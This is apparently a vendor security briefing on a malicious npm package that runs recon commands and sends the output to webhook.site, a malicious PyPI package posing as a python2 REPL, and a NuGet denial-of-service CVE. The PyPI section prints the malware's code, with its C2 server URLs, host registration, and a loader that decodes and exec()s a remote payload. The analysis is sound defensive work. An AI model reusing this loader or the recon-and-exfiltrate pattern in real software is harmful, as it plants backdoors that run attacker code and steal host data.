critical

CVE

CVE-2026-84008

CWE

CWE-506, CWE-407, CWE-829

Affected Surface

  • Node.js projects and internal package ecosystems that resolved `css-nesting-transform@1.0.0`, or adjacent fake polyfill names such as `wix-ssr-thunderbolt-grid-polyfill@0.1.0`, before the npm artifacts were unpublished
  • Python environments where `py2ops==2.2` was installed and the `python2` console entry point was executed
  • .NET applications on Windows, Linux, or macOS that reference vulnerable `System.Security.Cryptography.Pkcs` versions and call `SignedCms.CheckSignature` on attacker-controlled input

Welcome to Corgea’s weekly briefing. The briefing covers the most important security findings and research from the week.

This edition reflects the 15 October 2026 source sweep across CISA KEV, NVD, Aikido, Wiz, Socket, Endor Labs, and broader web search. After deduping against existing Corgea coverage, the strongest net-new package security reporting inside the last three days was not a big vendor blog post. It was a set of fresh registry advisories and package disclosures that landed on 12 and 13 October. One new npm malware case stood out, one PyPI implant was concrete enough to validate from the published wheel, and one NuGet disclosure came with a clean vendor fix path.

Top article

css-nesting-transform@1.0.0 posed as a CSS polyfill but behaved like recon against a private package ecosystem

The top new package story in this window is the 12 October advisory for css-nesting-transform@1.0.0. The package was already gone from npm and unpkg by the time of this run. That matters on its own. Live registry lookup now returns a 404, so incident response has to rely on lockfiles, caches, SBOMs, and older install logs rather than a fresh tarball pull.

The published shape described in the advisory was wrong before you even get to runtime behavior:

  • index.js was an empty module
  • payload.min.css was only 29 bytes
  • payload.bundle.min.js carried the real logic and ran at require time as a top-level IIFE

That payload reportedly cleared its own require.cache entries so the probe would re-run every time a consumer imported it. The recon path then executed the three commands below with execSync and sent the output with the host name to webhook.site through both fetch and https.get:

whoami
id
uname -a

Those commands are not sophisticated, but the packaging detail is the important part. The advisory says the package also exported Proxy objects under names that look like Wix-internal modules, including thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, and editorRegistry. Two rb_*.thunderbolt.manifest.min.json files then pointed back to https://unpkg.com/css-nesting-transform@1.0.0/. That is a strong signal that the package was not trying to trick a random developer into installing a fake polyfill by hand. It looks more like a dependency-confusion or internal-resolution play aimed at a specific private package graph.

The GitHub advisory also ties css-nesting-transform to the same collector path used by wix-ssr-thunderbolt-grid-polyfill@0.1.0, and to the same payload family as css-flow-render-shim, css-jptvix-polyfill, and css-eqxcdx-polyfill. The practical point is simple: if your detection only asks whether a package name sounds plausible, a cluster like this can look boring enough to slip through review.

More news

py2ops==2.2 replaced python2 with an operator-linked fake REPL

The 12 October PyPI advisory for py2ops==2.2 is more than a suspicious installer stub. The published wheel still makes the control flow easy to inspect, and it is worth reading because the package hides its real behavior behind a console command that looks familiar enough to evade a quick glance.

The wheel declares this entry point:

[console_scripts]
python2 = pyops.cli:main

From there, pyops/cli.py bootstraps against a hard-coded server, posts host metadata to /api/cli/init, and stores the returned key under ~/.python2/config.json:

DEFAULT_SERVER = os.environ.get("PY2_SERVER", "https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai")
FALLBACK_SERVER = "https://b196q82k8891-d.space-z.ai"

def _register(server):
    body = json.dumps({
        "hostname": hostname,
        "os": "windows" if IS_WIN else sys.platform,
    }).encode()
    req = urllib.request.Request(
        server.rstrip("/") + "/api/cli/init",
        data=body, method="POST",
        headers={"Content-Type": "application/json",
                 "User-Agent": f"python2/{VERSION}"},
    )

The fake REPL is not just a launcher. It deliberately reads input with terminal echo disabled, and a bare single word can be sent to the server-side unlock path before the line is ever written back to screen. That gives the package a covert command gate inside something that still looks like a normal interpreter session.

The second stage is even cleaner from the operator’s point of view. run_payload() pulls a gzip-compressed, base64-encoded blob from /api/cli/payload and executes it directly in memory:

r = api_json(cfg, "/api/cli/payload", {"apiKey": cfg["apiKey"]})
src = gzip.decompress(base64.b64decode(r["payload"])).decode("utf-8")
g = {"__name__": "__adv__", "__file__": CONFIG_FILE}
exec(compile(src, "<adv>", "exec"), g)
g["main"](list(argv))

That is a useful reminder that not every package compromise needs an install hook. In this case the trust boundary moved to a console command whose name was chosen to look routine on a workstation with old muscle memory.

NuGet teams also got a fresh package-level fix path with CVE-2026-84008

The new package vulnerability in the same window with the clearest vendor guidance is CVE-2026-84008, published on 13 October for System.Security.Cryptography.Pkcs. Microsoft says SignedCms.CheckSignature can repeatedly reparse attacker-controlled X.509 data and hit unauthenticated quadratic CPU exhaustion. That makes this a denial of service issue, not a code execution bug, but it still belongs in AppSec triage if your application validates CMS or PKCS#7 material from untrusted sources.

The affected NuGet ranges are:

  • 10.0.0 through 10.0.12, fixed in 10.0.13
  • 11.0.0-preview.1 through 11.0.0-rc.1, fixed in 11.0.0-rc.2
  • 8.0.0 through 8.0.1, fixed in 8.0.2
  • 9.0.0 through 9.0.20, fixed in 9.0.21

Two operational details matter here. First, Microsoft explicitly says self-contained deployments must be rebuilt and redeployed after the runtime update. Second, the affected method sits in a library many teams treat as boring platform plumbing. If your service verifies signed mail, document envelopes, or other CMS-wrapped content on request, it is worth checking whether SignedCms.CheckSignature is on a user-reachable path.

Other news

  • The requested Aikido, Wiz, Socket, and Endor Labs page review did not surface a fresher package-registry compromise or Linux-focused zero day in the 12 to 15 October window than the three items above. The strongest stories on those pages were either already covered by Corgea or older than this run’s date window.
  • The requested CISA KEV and NVD sweep also did not produce a better package-manager or Linux developer-surface lead than the 12 October registry advisories and the 13 October NuGet disclosure.
  • If you are triaging this week by how hard an issue is to rediscover after the fact, start with the unpublished npm package first. Once the tarball and unpkg path are gone, your best evidence lives in lockfiles, local caches, and past CI logs rather than the public registry.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

Explore dependency scanning Get Demo

References